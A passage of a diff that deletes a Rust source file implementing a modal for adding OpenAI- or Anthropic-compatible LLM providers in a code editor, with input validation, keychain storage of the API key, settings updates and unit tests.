-use language_models::provider::open_ai_compatible::{
-    AvailableModel as OpenAiCompatibleAvailableModel,
-    ModelCapabilities as OpenAiCompatibleModelCapabilities,
-};
-use settings::{
-    AnthropicCompatibleAvailableModel, AnthropicCompatibleModelCapabilities,
-    AnthropicCompatibleSettingsContent, OpenAiCompatibleSettingsContent, OpenAiReasoningEffort,
-    update_settings_file,
-};
-use ui::{
-    Banner, Checkbox, ContextMenu, ContextMenuEntry, DropdownMenu, DropdownStyle, IconPosition,
-    KeyBinding, Modal, ModalFooter, ModalHeader, Section, ToggleState, WithScrollbar, prelude::*,
-};
-use ui_input::InputField;
-use workspace::{ModalView, Workspace};
-
-fn single_line_input(
-    label: impl Into<SharedString>,
-    placeholder: &str,
-    text: Option<&str>,
-    tab_index: isize,
-    window: &mut Window,
-    cx: &mut App,
-) -> Entity<InputField> {
-    cx.new(|cx| {
-        let input = InputField::new(window, cx, placeholder)
-            .label(label)
-            .tab_index(tab_index)
-            .tab_stop(true);
-
-        if let Some(text) = text {
-            input.set_text(text, window, cx);
-        }
-        input
-    })
-}
-
-#[derive(Clone, Copy)]
-pub enum LlmCompatibleProvider {
-    OpenAi,
-    Anthropic,
-}
-
-impl LlmCompatibleProvider {
-    fn name(&self) -> &'static str {
-        match self {
-            LlmCompatibleProvider::OpenAi => "OpenAI",
-            LlmCompatibleProvider::Anthropic => "Anthropic",
-        }
-    }
-
-    fn api_url(&self) -> &'static str {
-        match self {
-            LlmCompatibleProvider::OpenAi => "https://api.openai.com/v1",
-            LlmCompatibleProvider::Anthropic => "https://api.anthropic.com",
-        }
-    }
-
-    fn description(&self) -> &'static str {
-        match self {
-            LlmCompatibleProvider::OpenAi => "This provider will use an OpenAI compatible API.",
-            LlmCompatibleProvider::Anthropic => {
-                "This provider will use an Anthropic Messages compatible API."
-            }
-        }
-    }
-
-    fn is_open_ai(&self) -> bool {
-        matches!(self, LlmCompatibleProvider::OpenAi)
-    }
-}
-
-struct AddLlmProviderInput {
-    provider_name: Entity<InputField>,
-    api_url: Entity<InputField>,
-    api_key: Entity<InputField>,
-    models: Vec<ModelInput>,
-}
-
-impl AddLlmProviderInput {
-    fn new(provider: LlmCompatibleProvider, window: &mut Window, cx: &mut App) -> Self {
-        let provider_name =
-            single_line_input("Provider Name", provider.name(), None, 1, window, cx);
-        let api_url = single_line_input("API URL", provider.api_url(), None, 2, window, cx);
-        let api_key = cx.new(|cx| {
-            InputField::new(
-                window,
-                cx,
-                "000000000000000000000000000000000000000000000000",
-            )
-            .label("API Key")
-            .tab_index(3)
-            .tab_stop(true)
-            .masked(true)
-        });
-
-        Self {
-            provider_name,
-            api_url,
-            api_key,
-            models: vec![ModelInput::new(0, window, cx)],
-        }
-    }
-
-    fn add_model(&mut self, window: &mut Window, cx: &mut App) {
-        let model_index = self.models.len();
-        self.models.push(ModelInput::new(model_index, window, cx));
-    }
-
-    fn remove_model(&mut self, index: usize) {
-        self.models.remove(index);
-    }
-}
-
-struct ModelCapabilityToggles {
-    pub supports_tools: ToggleState,
-    pub supports_images: ToggleState,
-    pub supports_parallel_tool_calls: ToggleState,
-    pub supports_prompt_cache_key: ToggleState,
-    pub supports_chat_completions: ToggleState,
-    pub supports_thinking: ToggleState,
-    pub interleaved_reasoning: ToggleState,
-    pub max_tokens_parameter: ToggleState,
-}
-
-struct ModelInput {
-    name: Entity<InputField>,
-    max_completion_tokens: Entity<InputField>,
-    max_output_tokens: Entity<InputField>,
-    max_tokens: Entity<InputField>,
-    reasoning_effort: OpenAiReasoningEffort,
-    capabilities: ModelCapabilityToggles,
-}
-
-impl ModelInput {
-    fn new(model_index: usize, window: &mut Window, cx: &mut App) -> Self {
-        let base_tab_index = (3 + (model_index * 4)) as isize;
-
-        let model_name = single_line_input(
-            "Model Name",
-            "e.g. gpt-5, claude-opus-4, gemini-2.5-pro",
-            None,
-            base_tab_index + 1,
-            window,
-            cx,
-        );
-        let max_completion_tokens = single_line_input(
-            "Max Completion Tokens",
-            "200000",
-            Some("200000"),
-            base_tab_index + 2,
-            window,
-            cx,
-        );
-        let max_output_tokens = single_line_input(
-            "Max Output Tokens",
-            "Max Output Tokens",
-            Some("32000"),
-            base_tab_index + 3,
-            window,
-            cx,
-        );
-        let max_tokens = single_line_input(
-            "Max Tokens",
-            "Max Tokens",
-            Some("200000"),
-            base_tab_index + 4,
-            window,
-            cx,
-        );
-
-        let OpenAiCompatibleModelCapabilities {
-            tools,
-            images,
-            parallel_tool_calls,
-            prompt_cache_key,
-            chat_completions,
-            interleaved_reasoning,
-            max_tokens_parameter,
-            ..
-        } = OpenAiCompatibleModelCapabilities::default();
-
-        Self {
-            name: model_name,
-            max_completion_tokens,
-            max_output_tokens,
-            max_tokens,
-            capabilities: ModelCapabilityToggles {
-                supports_tools: tools.into(),
-                supports_images: images.into(),
-                supports_parallel_tool_calls: parallel_tool_calls.into(),
-                supports_prompt_cache_key: prompt_cache_key.into(),
-                supports_chat_completions: chat_completions.into(),
-                supports_thinking: ToggleState::Unselected,
-                interleaved_reasoning: interleaved_reasoning.into(),
-                max_tokens_parameter: max_tokens_parameter.into(),
-            },
-            reasoning_effort: OpenAiReasoningEffort::Medium,
-        }
-    }
-
-    fn parse_name(&self, cx: &App) -> Result<String, SharedString> {
-        let name = self.name.read(cx).text(cx);
-        if name.is_empty() {
-            return Err(SharedString::from("Model Name cannot be empty"));
-        }
-        Ok(name)
-    }
-
-    fn parse_open_ai_compatible(
-        &self,
-        cx: &App,
-    ) -> Result<OpenAiCompatibleAvailableModel, SharedString> {
-        Ok(OpenAiCompatibleAvailableModel {
-            name: self.parse_name(cx)?,
-            display_name: None,
-            max_completion_tokens: Some(parse_u64_field(
-                &self.max_completion_tokens,
-                "Max Completion Tokens",
-                cx,
-            )?),
-            max_output_tokens: Some(parse_u64_field(
-                &self.max_output_tokens,
-                "Max Output Tokens",
-                cx,
-            )?),
-            max_tokens: parse_u64_field(&self.max_tokens, "Max Tokens", cx)?,
-            reasoning_effort: {
-                if self.capabilities.supports_thinking.selected() {
-                    Some(self.reasoning_effort)
-                } else {
-                    None
-                }
-            },
-            capabilities: OpenAiCompatibleModelCapabilities {
-                tools: self.capabilities.supports_tools.selected(),
-                images: self.capabilities.supports_images.selected(),
-                parallel_tool_calls: self.capabilities.supports_parallel_tool_calls.selected(),
-                prompt_cache_key: self.capabilities.supports_prompt_cache_key.selected(),
-                chat_completions: self.capabilities.supports_chat_completions.selected(),
-                interleaved_reasoning: self.capabilities.supports_thinking.selected()
-                    && self.capabilities.supports_chat_completions.selected()
-                    && self.capabilities.interleaved_reasoning.selected(),
-                max_tokens_parameter: self.capabilities.supports_chat_completions.selected()
-                    && self.capabilities.max_tokens_parameter.selected(),
-            },
-        })
-    }
-
-    fn parse_anthropic_compatible(
-        &self,
-        cx: &App,
-    ) -> Result<AnthropicCompatibleAvailableModel, SharedString> {
-        Ok(AnthropicCompatibleAvailableModel {
-            name: self.parse_name(cx)?,
-            display_name: None,
-            max_tokens: parse_u64_field(&self.max_tokens, "Max Tokens", cx)?,
-            tool_override: None,
-            max_output_tokens: Some(parse_u64_field(
-                &self.max_output_tokens,
-                "Max Output Tokens",
-                cx,
-            )?),
-            default_temperature: None,
-            extra_beta_headers: Vec::new(),
-            mode: None,
-            capabilities: AnthropicCompatibleModelCapabilities {
-                tools: self.capabilities.supports_tools.selected(),
-                images: self.capabilities.supports_images.selected(),
-                prompt_caching: false,
-            },
-        })
-    }
-}
-
-fn parse_u64_field(
-    field: &Entity<InputField>,
-    field_name: &str,
-    cx: &App,
-) -> Result<u64, SharedString> {
-    field
-        .read(cx)
-        .text(cx)
-        .parse::<u64>()
-        .map_err(|_| SharedString::from(format!("{field_name} must be a number")))
-}
-
-enum ParsedModels {
-    OpenAi(Vec<OpenAiCompatibleAvailableModel>),
-    Anthropic(Vec<AnthropicCompatibleAvailableModel>),
-}
-
-impl ParsedModels {
-    fn model_names(&self) -> impl Iterator<Item = &str> {
-        match self {
-            ParsedModels::OpenAi(models) => {
-                itertools::Either::Left(models.iter().map(|model| model.name.as_str()))
-            }
-            ParsedModels::Anthropic(models) => {
-                itertools::Either::Right(models.iter().map(|model| model.name.as_str()))
-            }
-        }
-    }
-}
-
-fn save_provider_to_settings(
-    provider: LlmCompatibleProvider,
-    input: &AddLlmProviderInput,
-    cx: &mut App,
-) -> Task<Result<(), SharedString>> {
-    let provider_name: Arc<str> = input.provider_name.read(cx).text(cx).into();
-    if provider_name.is_empty() {
-        return Task::ready(Err("Provider Name cannot be empty".into()));
-    }
-
-    if LanguageModelRegistry::read_global(cx)
-        .providers()
-        .iter()
-        .any(|provider| {
-            provider.id().0.as_ref() == provider_name.as_ref()
-                || provider.name().0.as_ref() == provider_name.as_ref()
-        })
-    {
-        return Task::ready(Err(
-            "Provider Name is already taken by another provider".into()
-        ));
-    }
-
-    let api_url = input.api_url.read(cx).text(cx);
-    if api_url.is_empty() {
-        return Task::ready(Err("API URL cannot be empty".into()));
-    }
-
-    let api_key = input.api_key.read(cx).text(cx);
-    if api_key.is_empty() {
-        return Task::ready(Err("API Key cannot be empty".into()));
-    }
-
-    let models = match provider {
-        LlmCompatibleProvider::OpenAi => input
-            .models
-            .iter()
-            .map(|model| model.parse_open_ai_compatible(cx))
-            .collect::<Result<Vec<_>, _>>()
-            .map(ParsedModels::OpenAi),
-        LlmCompatibleProvider::Anthropic => input
-            .models
-            .iter()
-            .map(|model| model.parse_anthropic_compatible(cx))
-            .collect::<Result<Vec<_>, _>>()
-            .map(ParsedModels::Anthropic),
-    };
-    let models = match models {
-        Ok(models) => models,
-        Err(error) => return Task::ready(Err(error)),
-    };
-
-    if !models.model_names().all_unique() {
-        return Task::ready(Err("Model Names must be unique".into()));
-    }
-
-    let fs = <dyn Fs>::global(cx);
-    let task = cx.write_credentials(&api_url, "Bearer", api_key.as_bytes());
-    cx.spawn(async move |cx| {
-        task.await
-            .map_err(|_| SharedString::from("Failed to write API key to keychain"))?;
-        cx.update(|cx| {
-            update_settings_file(fs, cx, move |settings, _cx| {
-                let language_models = settings.language_models.get_or_insert_default();
-                match models {
-                    ParsedModels::OpenAi(available_models) => {
-                        language_models
-                            .openai_compatible
-                            .get_or_insert_default()
-                            .insert(
-                                provider_name,
-                                OpenAiCompatibleSettingsContent {
-                                    api_url,
-                                    available_models,
-                                    custom_headers: None,
-                                },
-                            );
-                    }
-                    ParsedModels::Anthropic(available_models) => {
-                        language_models
-                            .anthropic_compatible
-                            .get_or_insert_default()
-                            .insert(
-                                provider_name,
-                                AnthropicCompatibleSettingsContent {
-                                    api_url,
-                                    available_models,
-                                    custom_headers: None,
-                                },
-                            );
-                    }
-                }
-            });
-        });
-        Ok(())
-    })
-}
-
-pub struct AddLlmProviderModal {
-    provider: LlmCompatibleProvider,
-    input: AddLlmProviderInput,
-    scroll_handle: ScrollHandle,
-    focus_handle: FocusHandle,
-    last_error: Option<SharedString>,
-}
-
-impl AddLlmProviderModal {
-    pub fn toggle(
-        provider: LlmCompatibleProvider,
-        workspace: &mut Workspace,
-        window: &mut Window,
-        cx: &mut Context<Workspace>,
-    ) {
-        workspace.toggle_modal(window, cx, |window, cx| Self::new(provider, window, cx));
-    }
-
-    fn new(provider: LlmCompatibleProvider, window: &mut Window, cx: &mut Context<Self>) -> Self {
-        Self {
-            input: AddLlmProviderInput::new(provider, window, cx),
-            provider,
-            last_error: None,
-            focus_handle: cx.focus_handle(),
-            scroll_handle: ScrollHandle::new(),
-        }
-    }
-
-    fn confirm(&mut self, _: &menu::Confirm, _: &mut Window, cx: &mut Context<Self>) {
-        let task = save_provider_to_settings(self.provider, &self.input, cx);
-        cx.spawn(async move |this, cx| {
-            let result = task.await;
-            this.update(cx, |this, cx| match result {
-                Ok(_) => {
-                    cx.emit(DismissEvent);
-                }
-                Err(error) => {
-                    this.last_error = Some(error);
-                    cx.notify();
-                }
-            })
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn cancel(&mut self, _: &menu::Cancel, _: &mut Window, cx: &mut Context<Self>) {
-        cx.emit(DismissEvent);
-    }
-
-    fn render_model_section(
-        &self,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> impl IntoElement {
-        v_flex()
-            .mt_1()
-            .gap_2()
-            .child(
-                h_flex()
-                    .justify_between()
-                    .child(Label::new("Models").size(LabelSize::Small))
-                    .child(
-                        Button::new("add-model", "Add Model")
-                            .start_icon(
-                                Icon::new(IconName::Plus)
-                                    .size(IconSize::XSmall)
-                                    .color(Color::Muted),
-                            )
-                            .label_size(LabelSize::Small)
-                            .on_click(cx.listener(|this, _, window, cx| {
-                                this.input.add_model(window, cx);
-                                cx.notify();
-                            })),
-                    ),
-            )
-            .children(
-                self.input
-                    .models
-                    .iter()
-                    .enumerate()
-                    .map(|(ix, _)| self.render_model(ix, window, cx)),
-            )
-    }
-
-    fn render_open_ai_reasoning_settings(
-        &self,
-        ix: usize,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> impl IntoElement + use<> {
-        let model = &self.input.models[ix];
-        let selected_effort = model.reasoning_effort;
-        let supports_thinking = model.capabilities.supports_thinking;
-        let supports_chat_completions = model.capabilities.supports_chat_completions;
-        let interleaved_reasoning = model.capabilities.interleaved_reasoning;
-        let weak_self = cx.weak_entity();
-
-        let effort_menu = ContextMenu::build(window, cx, move |mut menu, _window, _cx| {
-            for effort in OpenAiReasoningEffort::OPENAI_COMPATIBLE_SELECTABLE {
-                let is_selected = effort == selected_effort;
-                let weak_self = weak_self.clone();
-                menu.push_item(
-                    ContextMenuEntry::new(effort.label())
-                        .toggleable(IconPosition::End, is_selected)
-                        .handler(move |_window, cx| {
-                            weak_self
-                                .update(cx, |this, cx| {
-                                    this.input.models[ix].reasoning_effort = effort;
-                                    cx.notify();
-                                })
-                                .ok();
-                        }),
-                );
-            }
-
-            menu
-        });
-
-        v_flex()
-            .gap_1()
-            .child(
-                Checkbox::new(("supports-thinking", ix), supports_thinking)
-                    .label("Supports thinking")
-                    .on_click(cx.listener(move |this, checked, _window, cx| {
-                        this.input.models[ix].capabilities.supports_thinking = *checked;
-                        cx.notify();
-                    })),
-            )
-            .when(supports_thinking.selected(), |parent| {
-                parent
-                    .child(
-                        v_flex()
-                            .gap_1()
-                            .child(Label::new("Default reasoning effort").size(LabelSize::Small))
-                            .child(
-                                DropdownMenu::new(
-                                    ElementId::Name(
-                                        format!("reasoning-effort-selector-{ix}").into(),
-                                    ),
-                                    selected_effort.label(),
-                                    effort_menu,
-                                )
-                                .style(DropdownStyle::Outlined)
-                                .trigger_size(ButtonSize::Compact)
-                                .full_width(true)
-                                .aria_label("Default reasoning effort"),
-                            ),
-                    )
-                    .when(supports_chat_completions.selected(), |parent| {
-                        parent.child(
-                            Checkbox::new(("interleaved-reasoning", ix), interleaved_reasoning)
-                                .label("Preserves thinking in chat history")
-                                .on_click(cx.listener(move |this, checked, _window, cx| {
-                                    this.input.models[ix].capabilities.interleaved_reasoning =
-                                        *checked;
-                                    cx.notify();
-                                })),
-                        )
-                    })
-            })
-    }
-
-    fn render_model(
-        &self,
-        ix: usize,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> impl IntoElement + use<> {
-        let has_more_than_one_model = self.input.models.len() > 1;
-        let is_open_ai = self.provider.is_open_ai();
-        let model = &self.input.models[ix];
-
-        v_flex()
-            .p_2()
-            .gap_2()
-            .rounded_sm()
-            .border_1()
-            .border_dashed()
-            .border_color(cx.theme().colors().border.opacity(0.6))
-            .bg(cx.theme().colors().element_active.opacity(0.15))
-            .child(model.name.clone())
-            .child(
-                h_flex()
-                    .gap_2()
-                    .when(is_open_ai, |parent| {
-                        parent.child(model.max_completion_tokens.clone())
-                    })
-                    .child(model.max_output_tokens.clone()),
-            )
-            .child(model.max_tokens.clone())
-            .child(
-                v_flex()
-                    .gap_1()
-                    .child(
-                        Checkbox::new(("supports-tools", ix), model.capabilities.supports_tools)
-                            .label("Supports tools")
-                            .on_click(cx.listener(move |this, checked, _window, cx| {
-                                this.input.models[ix].capabilities.supports_tools = *checked;
-                                cx.notify();
-                            })),
-                    )
-                    .child(
-                        Checkbox::new(("supports-images", ix), model.capabilities.supports_images)
-                            .label("Supports images")
-                            .on_click(cx.listener(move |this, checked, _window, cx| {
-                                this.input.models[ix].capabilities.supports_images = *checked;
-                                cx.notify();
-                            })),
-                    )
-                    .when(is_open_ai, |parent| {
-                        parent
-                            .child(
-                                Checkbox::new(
-                                    ("supports-parallel-tool-calls", ix),
-                                    model.capabilities.supports_parallel_tool_calls,
-                                )
-                                .label("Supports parallel_tool_calls")
-                                .on_click(cx.listener(
-                                    move |this, checked, _window, cx| {
-                                        this.input.models[ix]
-                                            .capabilities
-                                            .supports_parallel_tool_calls = *checked;
-                                        cx.notify();
-                                    },
-                                )),
-                            )
-                            .child(
-                                Checkbox::new(
-                                    ("supports-prompt-cache-key", ix),
-                                    model.capabilities.supports_prompt_cache_key,
-                                )
-                                .label("Supports prompt_cache_key")
-                                .on_click(cx.listener(
-                                    move |this, checked, _window, cx| {
-                                        this.input.models[ix]
-                                            .capabilities
-                                            .supports_prompt_cache_key = *checked;
-                                        cx.notify();
-                                    },
-                                )),
-                            )
-                            .child(
-                                Checkbox::new(
-                                    ("supports-chat-completions", ix),
-                                    model.capabilities.supports_chat_completions,
-                                )
-                                .label("Supports /chat/completions")
-                                .on_click(cx.listener(
-                                    move |this, checked, _window, cx| {
-                                        this.input.models[ix]
-                                            .capabilities
-                                            .supports_chat_completions = *checked;
-                                        cx.notify();
-                                    },
-                                )),
-                            )
-                            .when(
-                                model.capabilities.supports_chat_completions.selected(),
-                                |parent| {
-                                    parent.child(
-                                        Checkbox::new(
-                                            ("max-tokens-parameter", ix),
-                                            model.capabilities.max_tokens_parameter,
-                                        )
-                                        .label("Uses max_tokens for output limit")
-                                        .on_click(
-                                            cx.listener(move |this, checked, _window, cx| {
-                                                this.input.models[ix]
-                                                    .capabilities
-                                                    .max_tokens_parameter = *checked;
-                                                cx.notify();
-                                            }),
-                                        ),
-                                    )
-                                },
-                            )
-                            .child(self.render_open_ai_reasoning_settings(ix, window, cx))
-                    }),
-            )
-            .when(has_more_than_one_model, |this| {
-                this.child(
-                    Button::new(("remove-model", ix), "Remove Model")
-                        .start_icon(
-                            Icon::new(IconName::Trash)
-                                .size(IconSize::XSmall)
-                                .color(Color::Muted),
-                        )
-                        .label_size(LabelSize::Small)
-                        .style(ButtonStyle::Outlined)
-                        .full_width()
-                        .on_click(cx.listener(move |this, _, _window, cx| {
-                            this.input.remove_model(ix);
-                            cx.notify();
-                        })),
-                )
-            })
-    }
-
-    fn on_tab(&mut self, _: &menu::SelectNext, window: &mut Window, cx: &mut Context<Self>) {
-        window.focus_next(cx);
-    }
-
-    fn on_tab_prev(
-        &mut self,
-        _: &menu::SelectPrevious,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        window.focus_prev(cx);
-    }
-}
-
-impl EventEmitter<DismissEvent> for AddLlmProviderModal {}
-
-impl Focusable for AddLlmProviderModal {
-    fn focus_handle(&self, _cx: &App) -> FocusHandle {
-        self.focus_handle.clone()
-    }
-}
-
-impl ModalView for AddLlmProviderModal {}
-
-impl Render for AddLlmProviderModal {
-    fn render(&mut self, window: &mut ui::Window, cx: &mut ui::Context<Self>) -> impl IntoElement {
-        let focus_handle = self.focus_handle(cx);
-
-        let window_size = window.viewport_size();
-        let rem_size = window.rem_size();
-        let is_large_window = window_size.height / rem_size > rems_from_px(600.).0;
-
-        let modal_max_height = if is_large_window {
-            rems_from_px(450.)
-        } else {
-            rems_from_px(200.)
-        };
-
-        v_flex()
-            .id("add-llm-provider-modal")
-            .key_context("AddLlmProviderModal")
-            .w(rems(34.))
-            .elevation_3(cx)
-            .on_action(cx.listener(Self::cancel))
-            .on_action(cx.listener(Self::on_tab))
-            .on_action(cx.listener(Self::on_tab_prev))
-            .capture_any_mouse_down(cx.listener(|this, _, window, cx| {
-                this.focus_handle(cx).focus(window, cx);
-            }))
-            .child(
-                Modal::new("configure-context-server", None)
-                    .header(
-                        ModalHeader::new()
-                            .headline("Add LLM Provider")
-                            .description(self.provider.description()),
-                    )
-                    .when_some(self.last_error.clone(), |this, error| {
-                        this.section(
-                            Section::new().child(
-                                Banner::new()
-                                    .severity(Severity::Warning)
-                                    .child(div().text_xs().child(error)),
-                            ),
-                        )
-                    })
-                    .child(
-                        div()
-                            .size_full()
-                            .vertical_scrollbar_for(&self.scroll_handle, window, cx)
-                            .child(
-                                v_flex()
-                                    .id("modal_content")
-                                    .size_full()
-                                    .tab_group()
-                                    .max_h(modal_max_height)
-                                    .pl_3()
-                                    .pr_4()
-                                    .pb_2()
-                                    .gap_2()
-                                    .overflow_y_scroll()
-                                    .track_scroll(&self.scroll_handle)
-                                    .child(self.input.provider_name.clone())
-                                    .child(self.input.api_url.clone())
-                                    .child(self.input.api_key.clone())
-                                    .child(self.render_model_section(window, cx)),
-                            ),
-                    )
-                    .footer(
-                        ModalFooter::new().end_slot(
-                            h_flex()
-                                .gap_1()
-                                .child(
-                                    Button::new("cancel", "Cancel")
-                                        .key_binding(
-                                            KeyBinding::for_action_in(
-                                                &menu::Cancel,
-                                                &focus_handle,
-                                                cx,
-                                            )
-                                            .map(|kb| kb.size(rems_from_px(12.))),
-                                        )
-                                        .on_click(cx.listener(|this, _event, window, cx| {
-                                            this.cancel(&menu::Cancel, window, cx)
-                                        })),
-                                )
-                                .child(
-                                    Button::new("save-server", "Save Provider")
-                                        .key_binding(
-                                            KeyBinding::for_action_in(
-                                                &menu::Confirm,
-                                                &focus_handle,
-                                                cx,
-                                            )
-                                            .map(|kb| kb.size(rems_from_px(12.))),
-                                        )
-                                        .on_click(cx.listener(|this, _event, window, cx| {
-                                            this.confirm(&menu::Confirm, window, cx)
-                                        })),
-                                ),
-                        ),
-                    ),
-            )
-    }
-}
-
-#[cfg(test)]
-mod tests {
-    use super::*;
-    use fs::FakeFs;
-    use gpui::{TestAppContext, VisualTestContext};
-    use language_model::{
-        LanguageModelProviderId, LanguageModelProviderName,
-        fake_provider::FakeLanguageModelProvider,
-    };
-    use project::Project;
-    use settings::SettingsStore;
-    use util::path;
-    use workspace::MultiWorkspace;
-
-    #[gpui::test]
-    async fn test_save_provider_invalid_inputs(cx: &mut TestAppContext) {
-        let cx = setup_test(cx).await;
-
-        for provider in [
-            LlmCompatibleProvider::OpenAi,
-            LlmCompatibleProvider::Anthropic,
-        ] {
-            assert_eq!(
-                save_provider_validation_errors(provider, "", "someurl", "somekey", vec![], cx)
-                    .await,
-                Some("Provider Name cannot be empty".into())
-            );
-
-            assert_eq!(
-                save_provider_validation_errors(
-                    provider,
-                    "someprovider",
-                    "",
-                    "somekey",
-                    vec![],
-                    cx
-                )
-                .await,
-                Some("API URL cannot be empty".into())
-            );
-
-            assert_eq!(
-                save_provider_validation_errors(
-                    provider,
-                    "someprovider",
-                    "someurl",
-                    "",
-                    vec![],
-                    cx
-                )
-                .await,
-                Some("API Key cannot be empty".into())
-            );
-
-            assert_eq!(
-                save_provider_validation_errors(
-                    provider,
-                    "someprovider",
-                    "someurl",
-                    "somekey",
-                    vec![("", "200000", "200000", "32000")],
-                    cx,
-                )
-                .await,
-                Some("Model Name cannot be empty".into())
-            );
-
-            assert_eq!(
-                save_provider_validation_errors(
-                    provider,
-                    "someprovider",
-                    "someurl",
-                    "somekey",
-                    vec![("somemodel", "abc", "200000", "32000")],
-                    cx,
-                )
-                .await,
-                Some("Max Tokens must be a number".into())
-            );
-
-            assert_eq!(
-                save_provider_validation_errors(
-                    provider,
-                    "someprovider",
-                    "someurl",
-                    "somekey",
-                    vec![("somemodel", "200000", "200000", "abc")],
-                    cx,
-                )
-                .await,
-                Some("Max Output Tokens must be a number".into())
-            );
-
-            assert_eq!(
-                save_provider_validation_errors(
-                    provider,
-                    "someprovider",
-                    "someurl",
-                    "somekey",
-                    vec![
-                        ("somemodel", "200000", "200000", "32000"),
-                        ("somemodel", "200000", "200000", "32000"),
-                    ],
-                    cx,
-                )
-                .await,
-                Some("Model Names must be unique".into())
-            );
-        }
-
-        // Max Completion Tokens is only used by OpenAI-compatible providers.
-        assert_eq!(
-            save_provider_validation_errors(
-                LlmCompatibleProvider::OpenAi,
-                "someprovider",
-                "someurl",
-                "somekey",
-                vec![("somemodel", "200000", "abc", "32000")],
-                cx,
-            )
-            .await,
-            Some("Max Completion Tokens must be a number".into())
-        );
-    }
-
-    #[gpui::test]
-    async fn test_save_provider_name_conflict(cx: &mut TestAppContext) {
-        let cx = setup_test(cx).await;
-
-        cx.update(|_window, cx| {
-            LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
-                registry.register_provider(
-                    Arc::new(FakeLanguageModelProvider::new(
-                        LanguageModelProviderId::new("someprovider"),
-                        LanguageModelProviderName::new("Some Provider"),
-                    )),
-                    cx,
-                );
-            });
-        });
-
-        assert_eq!(
-            save_provider_validation_errors(
-                LlmCompatibleProvider::OpenAi,
-                "someprovider",
-                "someurl",
-                "someapikey",
-                vec![("somemodel", "200000", "200000", "32000")],
-                cx,
-            )
-            .await,
-            Some("Provider Name is already taken by another provider".into())
-        );
-    }
-
-    #[gpui::test]
-    async fn test_model_input_default_capabilities(cx: &mut TestAppContext) {
-        let cx = setup_test(cx).await;
-
-        cx.update(|window, cx| {
-            let model_input = ModelInput::new(0, window, cx);
-            model_input.name.update(cx, |input, cx| {
-                input.set_text("somemodel", window, cx);
-            });
-            assert_eq!(
-                model_input.capabilities.supports_tools,
-                ToggleState::Selected
-            );
-            assert_eq!(
-                model_input.capabilities.supports_images,
-                ToggleState::Unselected
-            );
-            assert_eq!(
-                model_input.capabilities.supports_parallel_tool_calls,
-                ToggleState::Unselected
-            );
-            assert_eq!(
-                model_input.capabilities.supports_prompt_cache_key,
-                ToggleState::Unselected
-            );
-            assert_eq!(
-                model_input.capabilities.supports_chat_completions,
-                ToggleState::Selected
-            );
-            assert_eq!(
-                model_input.capabilities.supports_thinking,
-                ToggleState::Unselected
-            );
-            assert_eq!(
-                model_input.capabilities.interleaved_reasoning,
-                ToggleState::Unselected
-            );
-            assert_eq!(
-                model_input.capabilities.max_tokens_parameter,
-                ToggleState::Unselected
-            );
-            assert_eq!(model_input.reasoning_effort, OpenAiReasoningEffort::Medium);
-
-            let parsed_model = model_input.parse_open_ai_compatible(cx).unwrap();
-            assert!(parsed_model.capabilities.tools);
-            assert!(!parsed_model.capabilities.images);
-            assert!(!parsed_model.capabilities.parallel_tool_calls);
-            assert!(!parsed_model.capabilities.prompt_cache_key);
-            assert!(parsed_model.capabilities.chat_completions);
-            assert!(!parsed_model.capabilities.interleaved_reasoning);
-            assert!(!parsed_model.capabilities.max_tokens_parameter);
-            assert_eq!(parsed_model.reasoning_effort, None);
-        });
-    }
-
-    #[gpui::test]
-    async fn test_model_input_deselected_capabilities(cx: &mut TestAppContext) {
-        let cx = setup_test(cx).await;
-
-        cx.update(|window, cx| {
-            let mut model_input = ModelInput::new(0, window, cx);
-            model_input.name.update(cx, |input, cx| {
-                input.set_text("somemodel", window, cx);
-            });
-
-            model_input.capabilities.supports_tools = ToggleState::Unselected;
-            model_input.capabilities.supports_images = ToggleState::Unselected;
-            model_input.capabilities.supports_parallel_tool_calls = ToggleState::Unselected;
-            model_input.capabilities.supports_prompt_cache_key = ToggleState::Unselected;
-            model_input.capabilities.supports_chat_completions = ToggleState::Unselected;
-            model_input.capabilities.supports_thinking = ToggleState::Unselected;
-            model_input.capabilities.interleaved_reasoning = ToggleState::Selected;
-            model_input.capabilities.max_tokens_parameter = ToggleState::Selected;
-
-            let parsed_model = model_input.parse_open_ai_compatible(cx).unwrap();
-            assert!(!parsed_model.capabilities.tools);
-            assert!(!parsed_model.capabilities.images);
-            assert!(!parsed_model.capabilities.parallel_tool_calls);
-            assert!(!parsed_model.capabilities.prompt_cache_key);
-            assert!(!parsed_model.capabilities.chat_completions);
-            assert!(!parsed_model.capabilities.interleaved_reasoning);
-            assert!(!parsed_model.capabilities.max_tokens_parameter);
-            assert_eq!(parsed_model.reasoning_effort, None);
-        });
-    }
-
-    #[gpui::test]
-    async fn test_model_input_with_name_and_capabilities(cx: &mut TestAppContext) {
-        let cx = setup_test(cx).await;
-
-        cx.update(|window, cx| {
-            let mut model_input = ModelInput::new(0, window, cx);
-            model_input.name.update(cx, |input, cx| {
-                input.set_text("somemodel", window, cx);
-            });
-
-            model_input.capabilities.supports_tools = ToggleState::Selected;
-            model_input.capabilities.supports_images = ToggleState::Unselected;
-            model_input.capabilities.supports_parallel_tool_calls = ToggleState::Selected;
-            model_input.capabilities.supports_prompt_cache_key = ToggleState::Unselected;
-            model_input.capabilities.supports_chat_completions = ToggleState::Selected;
-            model_input.capabilities.supports_thinking = ToggleState::Selected;
-            model_input.capabilities.interleaved_reasoning = ToggleState::Selected;
-            model_input.capabilities.max_tokens_parameter = ToggleState::Selected;
-            model_input.reasoning_effort = OpenAiReasoningEffort::XHigh;
-
-            let parsed_model = model_input.parse_open_ai_compatible(cx).unwrap();
-            assert_eq!(parsed_model.name, "somemodel");
-            assert!(parsed_model.capabilities.tools);
-            assert!(!parsed_model.capabilities.images);
-            assert!(parsed_model.capabilities.parallel_tool_calls);
-            assert!(!parsed_model.capabilities.prompt_cache_key);
-            assert!(parsed_model.capabilities.chat_completions);
-            assert!(parsed_model.capabilities.interleaved_reasoning);
-            assert!(parsed_model.capabilities.max_tokens_parameter);
-            assert_eq!(
-                parsed_model.reasoning_effort,
-                Some(OpenAiReasoningEffort::XHigh)
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_model_input_parse_anthropic_compatible(cx: &mut TestAppContext) {
-        let cx = setup_test(cx).await;
-
